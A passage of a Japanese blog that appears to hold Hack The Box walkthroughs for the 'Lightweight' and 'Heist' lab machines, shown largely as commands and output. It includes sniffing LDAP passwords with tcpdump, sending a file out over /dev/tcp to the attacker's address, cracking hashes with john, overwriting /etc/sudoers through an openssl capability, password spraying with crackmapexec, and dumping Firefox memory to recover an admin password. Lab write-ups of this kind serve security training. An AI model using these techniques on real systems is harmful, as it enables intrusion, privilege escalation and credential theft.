/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep

tcpdumpでの通信キャプチャ

capabilityの調査で見つけたtcpdumpを使用する。
status.phpのロードが遅いことから、裏でldapの通信が走っている可能性がある。
status.phpが読み込めたくらいのタイミングで389ポートに関する通信が出力され、その中の一部にldapuser2のパスワードが見つかる。暗号化通信ではない389ポートだから平文で見つかる。

[10.10.14.33@lightweight ~]$ tcpdump -i any port 389 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
(snip)
w....XI...Pt.....)......
.O.<.O.<0Y...`T....-uid=ldapuser2,ou=People,dc=lightweight,dc=htb. 8bc8251332abe1d7f105d3e53ad39ac2................
16:50:58.420116 IP lightweight.htb.ldap > lightweight.htb.39852: Flags [.], ack 92, win 683, options [nop,nop,TS val 5210940 ecr 5210940], length 0
E..4..@.@...
(snip)

(おまけ)wiresharkでも見てみる

ターゲットマシンからローカルに持ってきて、wiresharkで起動。

root@kali:~/lightweight# scp 10.10.14.33@10.10.10.119:/home/10.10.14.33/ldap.pcap .
root@kali:~/lightweight# wireshark ldap.pcap &

bindRequest(LDAPサーバでのユーザ認証リクエスト)でパスワードが平文で見えている。 f:id:Paichan:20201121235906p:plain

user.txtゲット

tcpdumpを使って見つけたパスワードでldapuser2になり、user.txtをゲット。

[10.10.14.33@lightweight ~]$ su ldapuser2
Password: 
[ldapuser2@lightweight 10.10.14.33]$ id
uid=1001(ldapuser2) gid=1001(ldapuser2) groups=1001(ldapuser2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ldapuser2@lightweight 10.10.14.33]$ cd /home/ldapuser2
[ldapuser2@lightweight ~]$ ls
backup.7z  OpenLDAP-Admin-Guide.pdf  OpenLdap.pdf  user.txt
[ldapuser2@lightweight ~]$ cat user.txt 

backup.7z発見

user.txtと同じディレクトリにbackup.7zがある。

[ldapuser2@lightweight ~]$ ls -l
total 1868
-rw-r--r--. 1 root      root         3411 Jun 14  2018 backup.7z
-rw-rw-r--. 1 ldapuser2 ldapuser2 1520530 Jun 13  2018 OpenLDAP-Admin-Guide.pdf
-rw-rw-r--. 1 ldapuser2 ldapuser2  379983 Jun 13  2018 OpenLdap.pdf
-rw-r--r--. 1 root      root           33 Jun 15  2018 user.txt

ローカルにデータ移動

scpで移動させようとしたが、ldapuser2ではssh接続できない&ローカル(kali)はsshポートを開けていないので、別の方法と使う。

方法1:base64エンコードして移動する。

[ldapuser2@lightweight ~]$ base64 backup.7z
N3q8ryccAAQmbxM1EA0AAAAAAAAjAAAAAAAAAI
(snip)
[ldapuser2@lightweight ~]$ 

方法2:ncを使う

・送信側

[ldapuser2@lightweight ~]$ cat backup.7z > /dev/tcp/10.10.14.33/1234

・受信側

root@kali:~/lightweight# nc -lvp 1234 > backup.7z
listening on [any] 1234 ...
connect to [10.10.14.33] from lightweight.htb [10.10.10.119] 37654

backup.7z解凍

方法1の方法で移動してきたデータをbase64デコードし、7zで解凍を試みるが、パスワードが必要。

root@kali:~/lightweight# base64 -d data > backup.7z
root@kali:~/lightweight# 7z x backup.7z 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-8650U CPU @ 1.90GHz (806EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 3411 bytes (4 KiB)

Extracting archive: backup.7z
--
Path = backup.7z
Type = 7z
Physical Size = 3411
Headers Size = 259
Method = LZMA2:12k 7zAES
Solid = +
Blocks = 1

    
Enter password (will not be echoed):

パスワードクラック

johnで解析するため、7z2john使おうとしたが、エラーでた。

root@kali:~/lightweight# /usr/share/john/7z2john.pl backup.7z > hash
Can't locate Compress/Raw/Lzma.pm in @INC (you may need to install the Compress::Raw::Lzma module) (@INC contains: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.30.3 /usr/local/share/perl/5.30.3 /usr/lib/x86_64-linux-gnu/perl5/5.30 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl-base /usr/lib/x86_64-linux-gnu/perl/5.30 /usr/share/perl/5.30 /usr/local/lib/site_perl) at /usr/share/john/7z2john.pl line 6.
BEGIN failed--compilation aborted at /usr/share/john/7z2john.pl line 6.

以下を実行することで解決した。

root@kali:~/lightweight# apt install libcompress-raw-lzma-perl

パスワードゲット。

root@kali:~/lightweight# /usr/share/john/7z2john.pl backup.7z > hash
root@kali:~/lightweight# cat hash 
backup.7z:$7z$2$19$0$$8$11e96ba400e3926d0000000000000000$1800843918$3152$3140$1ed4a64a2e9a8bc76c59d8160d3bc3bbfd995ce02cf430ea41949ff4d745f6bf3ed238e9f06e98da3446dda53df0abf11902852e4b2a4e32e0b0f12b33af40d351b2140d6266db1a3d66e1c82fa9d516556ec893ba6841f052618ad210593b9975307b98db7e853e3ebfbef6856039647a6ad33a63f5b268fc003c39eba04484bef
(snip)
root@kali:~/lightweight# john -w:/usr/share/wordlists/rockyou.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip [SHA256 128/128 AVX 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 12 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
delete           (backup.7z)
1g 0:00:00:35 DONE (2020-11-01 03:03) 0.02783g/s 57.44p/s 57.44c/s 57.44C/s slimshady..aries
Use the "--show" option to display all of the cracked passwords reliably
Session completed

このパスワードを使うと、backup.7zからindex.phpinfo.phpstatus.phpuser.phpが解凍される。
status.phpにldapuser1のパスワードがハードコードされていた。

root@kali:~/lightweight# cat status.php 
(snip)
$username = 'ldapuser1';
$password = 'f3ca9d298a553da117442deeb6fa932d';

このパスワードを使って、ldapuser1になる。

[ldapuser2@lightweight ~]$ su ldapuser1
Password: 
[ldapuser1@lightweight ldapuser2]$ id
uid=1000(ldapuser1) gid=1000(ldapuser1) groups=1000(ldapuser1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

capabilityを調べる

先ほどと同様にcapabilityを調べたところ、/home/ldapuser1/opensslがepで設定されていることが分かった。

[ldapuser1@lightweight ~]$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/openssl =ep

root.txtゲット

opensslでファイルを読むコマンドを実行し、root.txtゲット。 参考:https://gtfobins.github.io/gtfobins/openssl/

[ldapuser1@lightweight ~]$ ./openssl base64 -in "/root/root.txt" | base64 -d

(おまけ)rootシェルをゲットしたい場合

/etc/sudoersを上書きし、10.10.14.33ユーザ(自分)にsudoでの任意コマンドの実行権限を付与する。 参考:https://gtfobins.github.io/gtfobins/openssl/

[ldapuser1@lightweight ~]$ echo -ne "root\tALL=(ALL:ALL) ALL\n\"10.10.14.33\"\tALL=(ALL:ALL) ALL\n" > /tmp/getsudo
[ldapuser1@lightweight ~]$ ./openssl enc -in /tmp/getsudo -out /etc/sudoers
[ldapuser1@lightweight ~]$ exit
exit
[10.10.14.33@lightweight ~]$ sudo su 
[sudo] password for 10.10.14.33: 
[root@lightweight 10.10.14.33]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

(おまけ)ldapsearch

namingcontextsを取得。

root@kali:~/lightweight# ldapsearch -h 10.10.10.119 -s base namingcontexts -x
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#
#
dn:
namingContexts: dc=lightweight,dc=htb ★
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1

ユーザ名、パスワードハッシュがゲットできる。SHA512であり、今回はここから平文は取得できない。

root@kali:~/lightweight# ldapsearch -h 10.10.10.119 -b "dc=lightweight, dc=htb" -x
# extended LDIF
#
# LDAPv3
# base <dc=lightweight, dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# lightweight.htb
dn: dc=lightweight,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: lightweight htb
dc: lightweight
# Manager, lightweight.htb
dn: cn=Manager,dc=lightweight,dc=htb
objectClass: organizationalRole
cn: Manager
description: Directory Manager
# People, lightweight.htb
dn: ou=People,dc=lightweight,dc=htb
objectClass: organizationalUnit
ou: People
# Group, lightweight.htb
dn: ou=Group,dc=lightweight,dc=htb
objectClass: organizationalUnit
ou: Group
# ldapuser1, People, lightweight.htb
dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
uid: ldapuser1
cn: ldapuser1
sn: ldapuser1
mail: ldapuser1@lightweight.htb
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: top
objectClass: shadowAccount
userPassword:: e2NyeXB0fSQ2JDNxeDBTRDl4JFE5eTFseVFhRktweHFrR3FLQWpMT1dkMzNOd2R
 oai5sNE16Vjd2VG5ma0UvZy9aLzdONVpiZEVRV2Z1cDJsU2RBU0ltSHRRRmg2ek1vNDFaQS4vNDQv
shadowLastChange: 17691
shadowMin: 0
shadowMax: 99999
shadowWarning: 7
loginShell: /bin/bash
uidNumber: 1000
gidNumber: 1000
homeDirectory: /home/ldapuser1
# ldapuser2, People, lightweight.htb
dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
uid: ldapuser2
cn: ldapuser2
sn: ldapuser2
mail: ldapuser2@lightweight.htb
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: top
objectClass: shadowAccount
userPassword:: e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms
 zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z24x
shadowLastChange: 17691
shadowMin: 0
shadowMax: 99999
shadowWarning: 7
loginShell: /bin/bash
uidNumber: 1001
gidNumber: 1001
homeDirectory: /home/ldapuser2
# ldapuser1, Group, lightweight.htb
dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
objectClass: posixGroup
objectClass: top
cn: ldapuser1
userPassword:: e2NyeXB0fXg=
gidNumber: 1000
# ldapuser2, Group, lightweight.htb
dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
objectClass: posixGroup
objectClass: top
cn: ldapuser2
userPassword:: e2NyeXB0fXg=
gidNumber: 1001
# search result
search: 2
result: 0 Success
# numResponses: 9
# numEntries: 8

(おまけ)NSE(ldap-search)

root@kali:~/lightweight# nmap --script ldap-search -p 389 10.10.10.119
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-01 22:09 JST
Nmap scan report for lightweight.htb (10.10.10.119)
Host is up (0.27s latency).
PORT    STATE SERVICE
389/tcp open  ldap
| ldap-search: 
|   Context: dc=lightweight,dc=htb
|     dn: dc=lightweight,dc=htb
|         objectClass: top
|         objectClass: dcObject
|         objectClass: organization
|         o: lightweight htb
|         dc: lightweight
|     dn: cn=Manager,dc=lightweight,dc=htb
|         objectClass: organizationalRole
|         cn: Manager
|         description: Directory Manager
|     dn: ou=People,dc=lightweight,dc=htb
|         objectClass: organizationalUnit
|         ou: People
|     dn: ou=Group,dc=lightweight,dc=htb
|         objectClass: organizationalUnit
|         ou: Group
|     dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
|         uid: ldapuser1
|         cn: ldapuser1
|         sn: ldapuser1
|         mail: ldapuser1@lightweight.htb
|         objectClass: person
|         objectClass: organizationalPerson
|         objectClass: inetOrgPerson
|         objectClass: posixAccount
|         objectClass: top
|         objectClass: shadowAccount
|         userPassword: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/
|         shadowLastChange: 17691
|         shadowMin: 0
|         shadowMax: 99999
|         shadowWarning: 7
|         loginShell: /bin/bash
|         uidNumber: 1000
|         gidNumber: 1000
|         homeDirectory: /home/ldapuser1
|     dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
|         uid: ldapuser2
|         cn: ldapuser2
|         sn: ldapuser2
|         mail: ldapuser2@lightweight.htb
|         objectClass: person
|         objectClass: organizationalPerson
|         objectClass: inetOrgPerson
|         objectClass: posixAccount
|         objectClass: top
|         objectClass: shadowAccount
|         userPassword: {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1
|         shadowLastChange: 17691
|         shadowMin: 0
|         shadowMax: 99999
|         shadowWarning: 7
|         loginShell: /bin/bash
|         uidNumber: 1001
|         gidNumber: 1001
|         homeDirectory: /home/ldapuser2
|     dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: ldapuser1
|         userPassword: {crypt}x
|         gidNumber: 1000
|     dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: ldapuser2
|         userPassword: {crypt}x
|_        gidNumber: 1001
Nmap done: 1 IP address (1 host up) scanned in 2.42 seconds

(おまけ)capabilityとは(メモ)

  • rootが持っている権限を小分けにし、細かくした権限をプロセスに与えられるようにする機能。その細かい権限のことをcapabilityという。
  • rootか一般ユーザかだけでなく、もっと細かい単位で権限を付与することが可能。
  • 例:ping

    • pingはパケット送信にRawソケットを使う、これを使うにはroot権限が必要。そのため、LinuxディストリビューションによってはpingにSUIDが設定されている。
    • 逆に言うと、Rawソケットを使うためだけにroot権限がほしいのに、rootが持つ権限全てをpingに渡している状況。
    • Rawソケットを使う権限(capabiliry)のみを与えるという考え。→CAP_NET_RAW
  • capabilityのリスト

  • capabilityセット
    • プロセスのcapabilityセット
    • ファイルのcapabilityセット
  • それぞれで以下のcapabilityセットが定義されている
    • Permitted(許可)
    • Inheritable(継承可能)
    • effective(実行)

【Hack The Box】Heist Walkthrough

はじめに

ポートスキャン

root@kali:~# nmap -sC -sV -Pn 10.10.10.149
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-17 23:19 JST
Nmap scan report for 10.10.10.149
Host is up (0.24s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE       VERSION
80/tcp  open  http          Microsoft IIS httpd 10.0
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open  msrpc         Microsoft Windows RPC
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 4m05s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-09-17T14:24:00
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.88 seconds

全部のポートにやったら他にも開いていた。

root@kali:~# nmap -p- 10.10.10.149
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-17 23:19 JST
Nmap scan report for 10.10.10.149
Host is up (0.24s latency).
Not shown: 65530 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
49669/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 284.99 seconds

80、445、5985あたりが狙い目だろう。

ブラウザで80番へアクセス

ログイン画面。 f:id:Paichan:20201109225435p:plain
右下にあるLogin as guestをすると以下のような画面。 f:id:Paichan:20201109225510p:plain Attachmentを選択すると、以下の画面。cisco routerのconfigテキストらしきもののようだ。 f:id:Paichan:20201109225537p:plain type5のパスワードハッシュ(MD5)と、type7のパスワードハッシュが計3つある(以下)。これらの平文パスワードを見つける。

enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408

パスワードクラック

type5のパスワード

root@kali:~/heist# echo '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' > type5.txt
root@kali:~/heist# john --wordlist=/usr/share/wordlists/rockyou.txt type5.txt 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
stealth1agent    (?)
1g 0:00:01:23 DONE (2020-09-19 20:30) 0.01199g/s 42040p/s 42040c/s 42040C/s stealthy001..steak7893
Use the "--show" option to display all of the cracked passwords reliably
Session completed

stealth1agentというパスワードを取得。

type7のパスワード

オンラインのクラッカーがあったため、以下を利用して平文を取得することに成功した。
Cisco Type 7 Reverser - PacketLife.net
rout3r:$uperP@ssword
admin:Q4)sJu\Y8qz*A3?d

445ポートの調査

smbmapを使ってみるが、認証エラー。

root@kali:~/heist# smbmap -H 10.10.10.149
[!] Authentication error on 10.10.10.149

Crackmapexecをインストール

気になっていたcrackmapexecを使う。以下の流れでインストール。
参考:https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation

# apt install -y libssl-dev libffi-dev python-dev build-essential
# git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
# python3 setup.py install
# crackmapexec
usage: cme [-h] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--darrell] [--verbose] {winrm,smb,mssql,ldap,ssh} ...

      ______ .______           ___        ______  __  ___ .___  ___.      ___      .______    _______ ___   ___  _______   ______
     /      ||   _  \         /   \      /      ||  |/  / |   \/   |     /   \     |   _  \  |   ____|\  \ /  / |   ____| /      |
    |  ,----'|  |_)  |       /  ^  \    |  ,----'|  '  /  |  \  /  |    /  ^  \    |  |_)  | |  |__    \  V  /  |  |__   |  ,----'
    |  |     |      /       /  /_\  \   |  |     |    <   |  |\/|  |   /  /_\  \   |   ___/  |   __|    >   <   |   __|  |  |
    |  `----.|  |\  \----. /  _____  \  |  `----.|  .  \  |  |  |  |  /  _____  \  |  |      |  |____  /  .  \  |  |____ |  `----.
     \______|| _| `._____|/__/     \__\  \______||__|\__\ |__|  |__| /__/     \__\ | _|      |_______|/__/ \__\ |_______| \______|

                                         A swiss army knife for pentesting networks
                                    Forged by @byt3bl33d3r using the powah of dank memes

                                                      Version: 5.1.0dev
                                                     Codename: 3TH@n

optional arguments:
  -h, --help            show this help message and exit
  -t THREADS            set how many concurrent threads to use (default: 100)
  --timeout TIMEOUT     max timeout in seconds of each thread (default: None)
  --jitter INTERVAL     sets a random delay between each connection (default: None)
  --darrell             give Darrell a hand
  --verbose             enable verbose output

protocols:
  available protocols

  {winrm,smb,mssql,ldap,ssh}
    winrm               own stuff using WINRM
    smb                 own stuff using SMB
    mssql               own stuff using MSSQL
    ldap                own stuff using ldap
    ssh                 own stuff using SSH

Ya feelin' a bit buggy all of a sudden?

認証試行

ここまで見つけたものから以下のuser.txt、password.txtを作成。

root@kali:~/heist# cat users.txt 
rout3e
admin
Hazard
root@kali:~/heist# cat password.txt 
stealth1agent
$uperP@ssword
Q4)sJu\Y8qz*A3?d

crackmapexecでクラック。

root@kali:~/heist# crackmapexec smb 10.10.10.149 -u users.txt -p password.txt 
SMB         10.10.10.149    445    SUPPORTDESK      [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\rout3e:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\rout3e:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\rout3e:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\admin:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\admin:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [+] SupportDesk\Hazard:stealth1agent 

クラックできたら止まるらしい。

探索続き

crackmapexecで見つけた認証情報を使ってsmbmapを再度実行すると、IPC$がREAD ONLYであることが確認できた。

root@kali:~/heist# smbmap -H 10.10.10.149 -u Hazard -p stealth1agent
[+] IP: 10.10.10.149:445        Name: 10.10.10.149                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC

rpcclientで接続してみる。(初めて使うから、試しながら)

root@kali:~/heist# rpcclient -U Hazard 10.10.10.149
Enter WORKGROUP\Hazard's password: 
rpcclient $> 
例えば。
rpcclient $> srvinfo
        10.10.10.149   Wk Sv NT SNT         
        platform_id     :       500
        os version      :       10.0
        server type     :       0x9003
rpcclient $> lookupnames Hazard
Hazard S-1-5-21-4254423774-1266059056-3197185112-1008 (User: 1)
rpcclient $> lookupnames rout3r
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupnames admin
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupnames administrator
administrator S-1-5-21-4254423774-1266059056-3197185112-500 (User: 1)

特に何も・・・。

ここで、impacketツール群の一つである、lookupsid.pyを使ってユーザを列挙してみる。

root@kali:~/tools/impacket/examples# python3 lookupsid.py Hazard:stealth1agent@10.10.10.149
Impacket v0.9.22.dev1+20200629.145357.5d4ad6cc - Copyright 2020 SecureAuth Corporation

[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)

いくつかユーザが見つかる。SID1000番台のsuppor、Chase、Jasonあたりを調べる。

5985ポートの調査

evil-winrmを使う。これも初。

Evil-WinRMツールは、WinRMサービスが有効(通常は5985/tcpで応答)かつ、資格情報とアクセス許可がある場合に使用することのできるリモートシェルプログラムです。 Evil-WinRMツールを介することで、リモートのWindowsサーバーで稼働しているWinRMサービスに接続することができ、インタラクティブPowerShellを取得することができます これを使う。

参考:https://qiita.com/v_avenger/items/78b323d5e30276a20735

evil-winrmのインストール

# gem install winrm winrm-fs stringio
# git clone https://github.com/Hackplayers/evil-winrm.git

使う

ここまで見つけたユーザ名、パスワードを何パターンか試したところChaseと`Q4)sJu\Y8qz*A3?dでログイン成功。

root@kali:~/tools/evil-winrm# ./evil-winrm.rb -i 10.10.10.149 -u Chase -p "Q4)sJu\Y8qz*A3?d"

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Chase\Documents> 
*Evil-WinRM* PS C:\Users\Chase\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Chase\Desktop> ls


    Directory: C:\Users\Chase\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/22/2019   9:08 AM            121 todo.txt
-a----        4/22/2019   9:07 AM             32 user.txt

これでuser.txtゲット。

権限昇格のための情報収集

各種ファイルの確認

user.txtと同じディレクトリにあるtodo.txtの中身は以下。

*Evil-WinRM* PS C:\Users\Chase\Desktop> cat todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.

Done:
1. Restricted access for guest user.

続いて、ドキュメントルートにあるlogin.phpを見ると、ユーザ名、パスワードがハードコードされていることが確認できる。

*Evil-WinRM* PS C:\inetpub\wwwroot> cat login.php
(snip)
</body>
<?php
session_start();
if( isset($_REQUEST['login']) && !empty($_REQUEST['login_username']) && !empty($_REQUEST['login_password'])) {
        if( $_REQUEST['login_username'] === 'admin@support.htb' && hash( 'sha256', $_REQUEST['login_password']) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') {
                $_SESSION['admin'] = "valid";
                header('Location: issues.php');
        }
        else
                header('Location: errorpage.php');
}
else if( isset($_GET['guest']) ) {
        if( $_GET['guest'] === 'true' ) {
                $_SESSION['guest'] = "valid";
                header('Location: issues.php');
        }
}


?>
</html>

オンラインサービスで試したが、91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040の平文は取得できなかった。

アプリケーションの確認

気になったのはfirefoxvmwarephpくらい。

*Evil-WinRM* PS C:\Program FIles> ls


    Directory: C:\Program FIles


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        4/21/2019   9:39 AM                Common Files
d-----        4/21/2019  11:00 AM                internet explorer
d-----        4/22/2019   6:56 AM                Mozilla Firefox
d-----        4/22/2019   6:47 AM                PHP
d-----        4/22/2019   6:46 AM                Reference Assemblies
d-----        4/22/2019   6:46 AM                runphp
d-----        8/27/2019   3:00 PM                VMware
d-r---        4/21/2019  11:00 AM                Windows Defender
d-----        4/21/2019  11:00 AM                Windows Defender Advanced Threat Protection
d-----        9/15/2018  12:49 PM                Windows Mail
d-----        4/21/2019  11:00 AM                Windows Media Player
d-----        9/15/2018  12:49 PM                Windows Multimedia Platform
d-----        9/15/2018  12:58 PM                windows nt
d-----        4/21/2019  11:00 AM                Windows Photo Viewer
d-----        9/15/2018  12:49 PM                Windows Portable Devices
d-----        9/15/2018  12:49 PM                Windows Security
d-----        9/15/2018  12:49 PM                WindowsPowerShell

プロセスの確認

firefoxのプロセスがいくつかある。一番CPUを使っているPID4668のメモリダンプをとりたい。

*Evil-WinRM* PS C:\> get-process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    463      18     2436       5620               404   0 csrss
    295      17     2352       5292               492   1 csrss
    358      15     3572      14500              5128   1 ctfmon
    164       9     1836       9792       0.03   2664   1 dllhost
    259      14     4100      13584              3912   0 dllhost
    617      32    33376      59068              1000   1 dwm
   1491      57    23548      78484              5416   1 explorer
    390      31    39272      71868      48.92   4668   1 firefox
    358      25    16236      37652       0.50   6368   1 firefox
   1132      69   128224     167868      24.63   6784   1 firefox
    343      19     9944      37212       0.06   6908   1 firefox
    407      31    17356      63148       1.59   7160   1 firefox
     49       6     1432       3620               804   0 fontdrvhost
     49       6     1788       4684               812   1 fontdrvhost
(snip)

procdumpでPID4668のメモリダンプを取得

Powersploitのout-minidump.ps1の実行がうまくいかなかったので、sysinternalsのprocdumpを使う。

*Evil-WinRM* PS C:\Users\Chase\Desktop> upload /root/tools/SysinternalsSuite/procdump.exe
Info: Uploading /root/tools/SysinternalsSuite/procdump.exe to C:\Users\Chase\Desktop\procdump.exe

                                                             
Data: 967156 bytes of 967156 bytes copied

Info: Upload successful!

実行する。

*Evil-WinRM* PS C:\Users\Chase\Desktop> ./procdump.exe -ma 4668 -accepteula

ProcDump v10.0 - Sysinternals process dump utility
Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[20:12:34] Dump 1 initiated: C:\Users\Chase\Desktop\firefox.exe_200919_201234.dmp
[20:12:34] Dump 1 writing: Estimated dump file size is 309 MB.
[20:12:37] Dump 1 complete: 309 MB written in 2.6 seconds
[20:12:37] Dump count reached.

同様にstringsを持っていき、実行後(result.txt)、login.phpにあったパラメータ(login_password)でフィルター。

*Evil-WinRM* PS C:\Users\Chase\Desktop> cat result.txt | sls "login_password"

MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
RG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=

adminパスワードが見つかる。
4dD!5}x/re8]FBuZ

rootシェル奪取

root@kali:~/tools/evil-winrm# ./evil-winrm.rb -i 10.10.10.149 -u Administrator -p '4dD!5}x/re8]FBuZ'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

